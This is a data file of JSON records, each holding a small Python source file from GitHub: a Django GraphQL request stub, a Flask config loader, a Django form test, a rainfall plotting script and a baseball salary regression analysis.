{"seq_id": "13050103713", "text": "from typing import Optional, Dict, Any\nfrom django.contrib.auth.models import AnonymousUser\n\nfrom users.models import JustfixUser\n\n\nclass GraphQLStaticRequest:\n    \"\"\"\n    This represents a GraphQL request made on behalf of front-end\n    code that is trying to generate static content--such as a PDF\n    or email text--and therefore may not have access to an\n    actual Django HttpRequest. For example, it may be running in\n    a worker process or from a Django management command.\n\n    Because we've already written all our GraphQL mutations to\n    expect a Django HttpRequest as the GraphQL context, however,\n    our best way to accomodate this use case (without doing a *lot*\n    of refactoring) is to create a tiny subset of the HttpRequest\n    interface that only our static content-related GraphQL endpoints\n    will need to access.\n    \"\"\"\n\n    def __init__(\n        self,\n        user: Optional[JustfixUser] = None,\n        session: Optional[Dict[str, Any]] = None,\n    ):\n        if user is None:\n            user = AnonymousUser()\n\n        # This corresponds to HttpRequest.user.\n        self.user = user\n\n        # This corresponds to HttpRequest.session.\n        self.session: Dict[str, Any] = session or {}\n", "repo_name": "JustFixNYC/tenants2", "sub_path": "project/graphql_static_request.py", "file_name": "graphql_static_request.py", "file_ext": "py", "file_size_in_byte": 1220, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 23, "dataset": "github-code", "pt": "71", "api": [{"api_name": "typing.Optional", "line_number": 25, "usage_type": "name"}, {"api_name": "users.models.JustfixUser", "line_number": 25, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 26, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 26, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 26, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.AnonymousUser", "line_number": 29, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 35, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 35, "usage_type": "name"}]}
{"seq_id": "10876392821", "text": "import os\nimport sys\nimport logging\nimport json\n\nconfig_logger = logging.getLogger(\"main\")\n\nclass Configuration():\n\n  @property\n  def DEBUG(self):\n    if \"WINGDB_ACTIVE\" in os.environ:\n      return False\n    else:\n      return True\n\n  @property    \n  def TESTING(self):\n    return False\n\n  @property\n  def DATABASE_URI(self):\n    if \"WINGDB_ACTIVE\" in os.environ:\n      return False\n    else:\n      return True\n\n  @classmethod\n  def configfile(self,config_filename=\"ldap.json\"):\n    try:\n      config_logger.debug(\"retrieving %s configuration\"% config_filename)\n      with open(self.config_path('%s'%config_filename), \"r\") as f:\n        x = f.read()\n      if config_filename.endswith(\"json\"):\n        config=json.loads(x)\n      else:\n        auth_logger.error(\"extension unknown\")\n      return config\n    except:\n      config_logger.error(\"failed to retrieve %s configuration\"%config_filename)\n\n  @staticmethod\n  def config_path(config_name):\n    try:\n      if getattr(sys, 'frozen', False):\n        application_path = os.path.dirname(sys.executable)\n      elif __file__:\n        application_path = os.path.dirname(__file__)\n\n      confpath = application_path + '/..' +'/config/' + config_name\n      return confpath\n    except:\n      config_logger.error(\"failed to get config path\")\n", "repo_name": "jaimeviloria/flask-riak-mcollective-ldap3", "sub_path": "app/models/config.py", "file_name": "config.py", "file_ext": "py", "file_size_in_byte": 1283, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 6, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 12, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 23, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 46, "usage_type": "call"}, {"api_name": "os.path", "line_number": 46, "usage_type": "attribute"}, {"api_name": "sys.executable", "line_number": 46, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path", "line_number": 48, "usage_type": "attribute"}]}
{"seq_id": "69849810149", "text": "from datetime import date\nfrom decimal import Decimal\n\nfrom django.test import TestCase\n\nfrom charcoallog.investments.forms import InvestmentDetailsForm\nfrom charcoallog.investments.models import NewInvestmentDetails\n\n\nclass InvestmentDetailsFormTest(TestCase):\n    def test_form_has_fields(self):\n        \"\"\" Form must have 3 fields. The third field is in test_basicdata_form\"\"\"\n        form = InvestmentDetailsForm()\n        self.assertSequenceEqual(\n            ['date', 'money', 'kind', 'tx_op',\n             'brokerage', 'which_target', 'segment',\n             'tx_or_price', 'quant'],\n            list(form.fields)\n        )\n\n\nclass InvestmentDetailSave(TestCase):\n    def setUp(self):\n        data = dict(\n            user_name='teste',\n            date='2018-09-19',\n            money='10.00',\n            kind='tesouro',\n            tx_op=0.00,\n            brokerage='A',\n            which_target='selic',\n            segment='2023',\n            tx_or_price=0.00,\n            quant=0.00,\n        )\n        self.form = InvestmentDetailsForm(data)\n\n    def test_is_valid(self):\n        self.assertTrue(self.form.is_valid())\n\n    def test_save(self):\n        \"\"\"\n        .save() param must exists. That's why the test.\n        \"\"\"\n        self.form.save('teste')\n\n        qs = NewInvestmentDetails.objects.all()\n        expected = [\n            (qs[0].which_target, 'selic'),\n            (qs[0].segment, '2023'),\n            (qs[0].tx_or_price, Decimal('0.00')),\n            (qs[0].quant, 0.00),\n            (qs[0].user_name, 'teste'),\n            (qs[0].date, date(2018, 9, 19)),\n            (qs[0].money, Decimal('10.00')),\n            (qs[0].kind, 'tesouro'),\n            (qs[0].tx_op, Decimal('0.00')),\n            (qs[0].brokerage, 'A'),\n        ]\n\n        for obj, v in expected:\n            with self.subTest():\n                self.assertEqual(obj, v)\n", "repo_name": "hpfn/charcoallog", "sub_path": "charcoallog/investments/tests/test_investment_detail_form.py", "file_name": "test_investment_detail_form.py", "file_ext": "py", "file_size_in_byte": 1866, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.test.TestCase", "line_number": 10, "usage_type": "name"}, {"api_name": "charcoallog.investments.forms.InvestmentDetailsForm", "line_number": 13, "usage_type": "call"}, {"api_name": "django.test.TestCase", "line_number": 22, "usage_type": "name"}, {"api_name": "charcoallog.investments.forms.InvestmentDetailsForm", "line_number": 36, "usage_type": "call"}, {"api_name": "charcoallog.investments.models.NewInvestmentDetails.objects.all", "line_number": 47, "usage_type": "call"}, {"api_name": "charcoallog.investments.models.NewInvestmentDetails.objects", "line_number": 47, "usage_type": "attribute"}, {"api_name": "charcoallog.investments.models.NewInvestmentDetails", "line_number": 47, "usage_type": "name"}, {"api_name": "decimal.Decimal", "line_number": 51, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 54, "usage_type": "call"}, {"api_name": "decimal.Decimal", "line_number": 55, "usage_type": "call"}, {"api_name": "decimal.Decimal", "line_number": 57, "usage_type": "call"}]}
{"seq_id": "27632437785", "text": "import pandas as pd\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport os\n\ndirectory = os.fsencode('../stations/') \nl = []\nfor s in os.listdir(directory):\n\ts = s.decode('ascii')\n\tif s.startswith('augusta'):\n\t\tl.append(s)\nl.sort()\nfiles = []\nfor i in range(len(l)):\n\tfiles.append(pd.read_csv('../stations/'+l[i], delimiter = \";\"))\n\nmerged_file = pd.concat(files, axis=0, ignore_index = True)\nfile_clean = merged_file.replace(to_replace = '--', value='0')\nfile_clean['Data rilevazione'] = file_clean[file_clean.columns[2:4]].apply(\n    lambda x: ','.join(x.astype(str)),\n    axis=1)\ndf = file_clean.drop(['Ora rilevazione', 'Grandezza', 'Stazione'], axis=1)\ndf['Valore'] = df['Valore'].apply(lambda x: x.replace(',','.')).astype(float)\n\ndef dry_days(df):\n\tl = []\n\tc = 0\n\tfor i in range(len(df)):\n\t\tif df['Valore'][i] == 0.0:\n\t\t\tc+=1\n\t\telse:\n\t\t\tl.append(c)\n\t\t\tc = 0\n\t\t\tcontinue\n\tl.append(c)\n\treturn round(max(l)/144)\n\ndef wet_hours(df):\n\tl = []\n\tc = 0\n\tfor i in range(len(df)):\n\t\tif df['Valore'][i] != 0.0:\n\t\t\tc+=1\n\t\t\tcontinue\n\t\telse:\n\t\t\tif c != 0:\n\t\t\t\tl.append(c)\n\t\t\t\tc = 0\n\t\t\tcontinue\n\tl.append(c)\n\treturn round(max(l)/6)\n\ndry_days = dry_days(df)\nwet_hours = wet_hours(df)\nyears = [0, 52560, 105121, 157682, 210387, 262948, 315509, 368070, 420775, 473336, 525897, 578458, 631163, 683725] \ndf_years = []\nfor i in range(len(years)-1):\n\tdf_years.append(df.iloc[years[i]:years[i+1]+1])\nfor i in range(len(df_years)):\t\n\tyear = df_years[i]['Data rilevazione'].loc[df_years[i]['Data rilevazione'].index[5]][6:10]\n\tdf_years[i]['Valore'].plot()\n\tplt.text(0.25, 0.96,'Max:'+ str(round(df['Valore'].max(),2)), fontsize=10,bbox = dict(facecolor = 'green', alpha = 0.5), transform=plt.gcf().transFigure)\n\tplt.text(0.02, 0.96,'Max dry days:'+ str(dry_days), fontsize=10,bbox = dict(facecolor = 'orange', alpha = 0.5), transform=plt.gcf().transFigure)\n\tplt.text(0.02, 0.9,'Max wet hours:'+ str(wet_hours), fontsize=10,bbox = dict(facecolor = 'orange', alpha = 0.5), transform=plt.gcf().transFigure)\n\tplt.xlabel('time line - 10 min intervals')\n\tplt.ylabel('rain - mm')\n\tplt.title(str(file_clean['Stazione'].loc[file_clean['Stazione'].index[5]])+' ' +year)\n\tplt.ylim(top=22)\n\tplt.savefig('results/'+str(file_clean['Stazione'].loc[file_clean['Stazione'].index[5]])+year+'.png')\n", "repo_name": "elevitanz/Extreme_Events_Sicily", "sub_path": "SI/augusta_full_view/global.py", "file_name": "global.py", "file_ext": "py", "file_size_in_byte": 2265, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.fsencode", "line_number": 6, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 8, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 15, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.text", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gcf", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.text", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 63, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gcf", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.text", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gcf", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 65, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 66, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}]}
{"seq_id": "31065257078", "text": "# -*- coding: utf-8 -*-\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport scipy as sp\nimport scipy.stats\n\n'''\nGit command line:\n\ngit add 'baseball_data.py'\ngit commit -m 'initial commit'\ngit remote add origin https://github.com/cjpeck/baseball_data.git\ngit push -u origin master\n'''\n\ndef get_team_stats(bt, pt, fd, tm):\n       \n    tFrame = [1985, 2014]\n    years = list(range(tFrame[0], tFrame[1]+1))\n        \n    tm_keys = ['G', 'W', 'L', 'DivWin', 'WCWin', 'LgWin', 'WSWin']\n    bt_keys = ['AB', 'R', 'H', '2B', '3B', 'HR', 'RBI', 'SB', 'CS', 'BB', \n               'SO', 'IBB', 'HBP', 'SH', 'SF', 'GIDP']\n    pt_keys = ['CG', 'SHO', 'SV', 'IPouts', 'H', 'ER', 'HR', 'BB', \n               'SO',  'BFP', 'R']\n    fd_keys = ['E', 'SB', 'CS']\n    bt_keys.remove('AB')\n    bt_keys.remove('R')\n    bt_keys.remove('H')\n    pt_keys.remove('IPouts')\n    pt_keys.remove('SV')\n    pt_keys.remove('R')\n    pt_keys.remove('BFP')\n            \n    keys = [x + '_bt' for x in bt_keys]\n    keys += [x + '_pt' for x in pt_keys]\n    keys += [x + '_fd' for x in fd_keys]\n    keys += ['salary', 'n_over_2SD', 'n_over_3SD', 'n_over_4SD']\n    \n    indices = [[], []]\n    remove = []\n    for year in years:\n        tm_year = tm[str(year)]\n        if np.sum(tm_year['G'] < 160):\n            print('skipping year ' + str(year))\n            remove.append(year)\n            continue\n        teams = tm_year['teamID']\n        #indices.extend([(year, team) for team in teams])\n        indices[0].extend([year for _ in teams])\n        indices[1].extend([team for team in teams])\n    for year in remove:\n        years.remove(year)\n        \n    dfx = pd.DataFrame(index=indices, columns=keys)\n    dfy = pd.DataFrame(index=indices, columns=tm_keys)    \n    \n    for year in years:\n        tm_year = tm[str(year)]\n        sal_year =  sal[str(year)]            \n        bt_year = bt[bt['yearID']==year]\n        pt_year = pt[pt['yearID']==year]\n        fd_year = fd[fd['yearID']==year]\n        teams = tm_year['teamID']\n        \n        for team in teams:\n            \n            # team results            \n            team_data = tm_year[tm_year['teamID']==team]\n            s = pd.Series(team_data[tm_keys].sum(skipna=True))  \n            dfy.ix[(year, team)] = s\n                                                \n            #append batting information            \n            team_data = bt_year[bt_year['teamID']==team]\n            s = pd.Series(team_data[bt_keys].sum(skipna=True))  \n            s.index = [s.index[i] + '_bt' for i in range(len(s))]\n            count = len(s)\n            \n            #append pitching information\n            team_data = pt_year[pt_year['teamID']==team]\n            s = s.append(team_data[pt_keys].sum(skipna=True))  \n            s.index = [s.index[i] + '_pt' if i >= count else s.index[i] \n                       for i in range(len(s))]\n            count = len(s)\n            \n            #append fielding information\n            team_data = fd_year[fd_year['teamID']==team]\n            s = s.append(team_data[fd_keys].sum(skipna=True))  \n            s.index = [s.index[i] + '_fd' if i >= count else s.index[i] \n                       for i in range(len(s))]\n            count = len(s)\n\n            #append salaray information\n            team_data = sal_year[sal_year['teamID']==team]['salary']            \n            salary = float(team_data.sum())\n            mean = float(sal[str(year)].mean())\n            std = float(sal[str(year)].std()) \n            n_over_2SD = (team_data >= mean + 2*std).sum()\n            n_over_3SD = (team_data >= mean + 3*std).sum()\n            n_over_4SD = (team_data >= mean + 4*std).sum()\n            s =  s.append(pd.Series([salary, n_over_2SD, n_over_3SD, n_over_4SD], \n                                    index=['salary', 'n_over_2SD', 'n_over_3SD', 'n_over_4SD']))\n\n            #append to dataframe\n            dfx.ix[(year, team)] = s\n            \n    return dfx, dfy            \n\n### ANALYSIS OF SALARY PREDICTING WINSS\ndef salary_figures(dfx, dfy):\n    \n    directory = '/Users/cjpeck/Dropbox/spyder2/baseball/figures/'\n    \n    # parameters for sliding window regression    \n    years = dfx.index.levels[0]\n    tInt = 10\n    tShift = 1\n    tStart = []\n    tEnd = []\n    i = 0\n    while i + tInt < len(years):\n        tStart.append(years[i])\n        tEnd.append(years[i+tInt])\n        i += tShift\n \n    #normalize\n    dfx_z = dfx.apply(lambda x: (x - dfx.ix[x.name[0]].mean()) / \n                                 dfx.ix[x.name[0]].std(), axis=1)\n                                         \n    # overall regression (for all years) and sliding regression    \n    beta = sp.stats.linregress(dfx_z['salary'], dfy['W'])\n    beta_sliding = []\n    for t in range(len(tStart)):\n        tmp =sp.stats.linregress(dfx_z.ix[tStart[t]:tEnd[t], 'salary'],\n                                 dfy.ix[tStart[t]:tEnd[t], 'W'])\n        beta_sliding.append(tmp[0])\n    \n    # scatter of salary predicting wins\n    plt.figure()\n    xmin = dfx_z['salary'].min()\n    xmax = dfx_z['salary'].max()\n    plt.plot((xmin, xmax), (xmin * beta[0] + beta[1], xmax * beta[0] + beta[1]), \n                     color='r', linestyle='-')\n    plt.scatter(dfx_z['salary'], dfy['W'])\n    plt.title('b1=%1.2f, p=%1.4f' % (beta[0], beta[3]))    \n    plt.savefig(directory + 'salary_wins.eps', bbox_inches='tight')\n    plt.show()\n    \n    # mean salary as a function of year\n    plt.figure()\n    plt.plot(years, dfx.mean(axis=0, level=0)/1e6)\n    plt.xlabel('Year')\n    plt.ylabel('Mean salary (millions $)')\n    plt.savefig(directory + 'mean_salary.eps', bbox_inches='tight')\n    plt.show()\n    \n    # change in z-score as function to time (sliding window regression) to win\n    # 'wins_desired' more games\n    plt.figure()\n    wins_desired = 4\n    money_needed = wins_desired / np.array(beta_sliding)\n    plt.plot(np.mean(np.c_[tStart, tEnd], 1), money_needed)\n    plt.xlabel('Year')\n    plt.ylabel('Change in z-score, to get %d wins' % wins_desired)\n    plt.savefig(directory + 'year_wins.eps', bbox_inches='tight')\n    plt.show()\n    \n    # salary as a function of year for common z-scores\n    z_vals = np.array([0, 1, 2])\n    z_chart = pd.DataFrame()\n    for i in z_vals:\n        z_chart[i] = (dfx.mean(level=0)['salary'] + \n                      dfx.std(level=0)['salary'] * i) / 1e6\n    z_chart.plot()\n    plt.xlabel('Year')\n    plt.ylabel('Salary')    \n    plt.savefig(directory + 'year_salary.eps', bbox_inches='tight')\n    plt.show()\n\n    # how does salary increase predict an increase in probability of winning\n    # the World Series\n    plt.figure()\n    \n    keys = ['DivWin', 'WCWin', 'LgWin', 'WSWin']\n    nkeys = ['nDivWin', 'nWCWin', 'nLgWin', 'nWSWin']\n    \n    bin_size = 10 # need to be an int divisble by 2 and a factor of 100\n    x_vals = list(range(int(bin_size/2), 100, bin_size))\n    df = pd.DataFrame(index=x_vals, columns=keys+nkeys)\n    for i in range(len(x_vals)):\n        lb = np.percentile(dfx_z['salary'], i * bin_size)\n        ub = np.percentile(dfx_z['salary'], (i+1) * bin_size)        \n        winners = dfy.ix[(dfx_z['salary'] > lb) & (dfx_z['salary'] <= ub), keys] == 'Y'\n        losers = dfy.ix[(dfx_z['salary'] > lb) & (dfx_z['salary'] <= ub), keys] == 'N'\n        n = winners.sum().add(losers.sum())\n        df.ix[x_vals[i], keys] = winners.sum().divide(n)  \n        df.ix[x_vals[i], nkeys] = n.rename({keys[i]: nkeys[i] for i in range(len(n))})    \n    df[keys].plot(xlim=[0,100])\n    plt.savefig(directory + 'playoff_prob.eps', bbox_inches='tight')\n    \n\n    plt.figure()\n    x2 = dfx['n_over_2SD'] + (.1 * np.random.random(size=(len(dfx),)) - 0.05)\n    x3 = dfx['n_over_3SD'] + (.1 * np.random.random(size=(len(dfx),)) - 0.05)\n    x4 = dfx['n_over_4SD'] + (.1 * np.random.random(size=(len(dfx),)) - 0.05)\n    plt.scatter(x2, dfy['W'], c='b', s=5)\n    plt.scatter(x3, dfy['W'], c='r')\n    plt.scatter(x4, dfy['W'], c='g')\n    b2 = sp.stats.linregress(x2, dfy['W'])\n    b3 = sp.stats.linregress(x3, dfy['W'])\n    b4 = sp.stats.linregress(x4, dfy['W'])\n    plt.show()\n\nif __name__ == '__main__':\n    \n    # Load data\n    master_fname = '/Users/cjpeck/Dropbox/spyder2/baseball/lahman-csv_2015-01-24/Master.csv'\n    ms = pd.DataFrame.from_csv(master_fname)\n    \n    batting_fname = '/Users/cjpeck/Dropbox/spyder2/baseball/lahman-csv_2015-01-24/Batting.csv'\n    bt = pd.DataFrame.from_csv(batting_fname)\n    bt['AVG'] = bt['H'] / bt['AB']\n    bt['SLG'] = (bt['H'] + 1*bt['2B'] + 2*bt['3B'] + 3*bt['HR']) / bt['AB']\n    \n    pitching_fname = '/Users/cjpeck/Dropbox/spyder2/baseball/lahman-csv_2015-01-24/Pitching.csv'\n    pt = pd.DataFrame.from_csv(pitching_fname)\n    \n    fielding_fname = '/Users/cjpeck/Dropbox/spyder2/baseball/lahman-csv_2015-01-24/Fielding.csv'\n    fd = pd.DataFrame.from_csv(fielding_fname)\n    \n    team_fname = '/Users/cjpeck/Dropbox/spyder2/baseball/lahman-csv_2015-01-24/Teams.csv'\n    tm = pd.DataFrame.from_csv(team_fname)\n    \n    sal = pd.DataFrame.from_csv(\n        '/Users/cjpeck/Dropbox/spyder2/baseball/lahman-csv_2015-01-24/Salaries.csv')\n           \n    # error in the salaries CSV which includes teams 'SFG' and 'NYM' which\n    # should instead be 'SFN' and 'NYN' - applies to 2014 only\n    sal.ix[(sal.index==pd.Timestamp('2014-01-01')) & \n           (sal['teamID']=='NYM'), 'teamID'] = 'NYN'\n    sal.ix[(sal.index==pd.Timestamp('2014-01-01')) &\n           (sal['teamID']=='SFG'), 'teamID'] = 'SFN'\n    \n    for year in range(bt['yearID'].min(), bt['yearID'].max() + 1):\n        bt_teams = bt.ix[bt['yearID']==year, 'teamID'].unique()\n        pt_teams = pt.ix[pt['yearID']==year, 'teamID'].unique()\n        fd_teams = fd.ix[fd['yearID']==year, 'teamID'].unique() \n        tm_teams = tm.ix[str(year), 'teamID'].unique()\n        n_teams = [len(bt_teams), len(pt_teams), len(fd_teams), len(tm_teams)]\n        if str(year) in sal.index:\n            sal_teams = sal.ix[str(year), 'teamID'].unique()\n            n_teams.append(len(sal_teams))\n        if len(np.unique(n_teams)) > 1:\n            print(str(year), str(n_teams))\n        \n        \n    dfx, dfy = get_team_stats(bt, pt, fd, tm)\n    salary_figures(dfx, dfy)\n\n", "repo_name": "cjpeck/baseball_data", "sub_path": "baseball_data.py", "file_name": "baseball_data.py", "file_ext": "py", "file_size_in_byte": 10122, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.sum", "line_number": 46, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 57, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 58, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 72, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 77, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 103, "usage_type": "call"}, {"api_name": "scipy.stats.linregress", "line_number": 133, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 133, "usage_type": "attribute"}, {"api_name": "scipy.stats.linregress", "line_number": 136, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 136, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 141, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 141, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 144, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 144, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 146, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 146, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 147, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 147, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 148, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 148, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 149, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 149, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 152, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 152, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 153, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 153, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 154, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 154, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 155, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 155, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 156, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 156, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 157, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 157, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 161, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 161, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 163, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 164, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 164, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 164, "usage_type": "call"}, {"api_name": "numpy.c_", "line_number": 164, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 165, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 165, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 166, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 166, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 167, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 167, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 168, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 168, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 171, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 172, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 177, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 177, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 178, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 178, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 179, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 179, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 180, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 180, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 184, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 184, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 191, "usage_type": "call"}, {"api_name": "numpy.percentile", "line_number": 193, "usage_type": "call"}, {"api_name": "numpy.percentile", "line_number": 194, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 201, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 201, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 204, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 204, "usage_type": "name"}, {"api_name": "numpy.random.random", "line_number": 205, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 205, "usage_type": "attribute"}, {"api_name": "numpy.random.random", "line_number": 206, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 206, "usage_type": "attribute"}, {"api_name": "numpy.random.random", "line_number": 207, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 207, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 208, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 208, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 209, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 209, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 210, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 210, "usage_type": "name"}, {"api_name": "scipy.stats.linregress", "line_number": 211, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 211, "usage_type": "attribute"}, {"api_name": "scipy.stats.linregress", "line_number": 212, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 212, "usage_type": "attribute"}, {"api_name": "scipy.stats.linregress", "line_number": 213, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 213, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.show", "line_number": 214, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 214, "usage_type": "name"}, {"api_name": "pandas.DataFrame.from_csv", "line_number": 220, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 220, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame.from_csv", "line_number": 223, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 223, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame.from_csv", "line_number": 228, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 228, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame.from_csv", "line_number": 231, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 231, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame.from_csv", "line_number": 234, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 234, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame.from_csv", "line_number": 236, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 236, "usage_type": "attribute"}, {"api_name": "pandas.Timestamp", "line_number": 241, "usage_type": "call"}, {"api_name": "pandas.Timestamp", "line_number": 243, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 255, "usage_type": "call"}]}
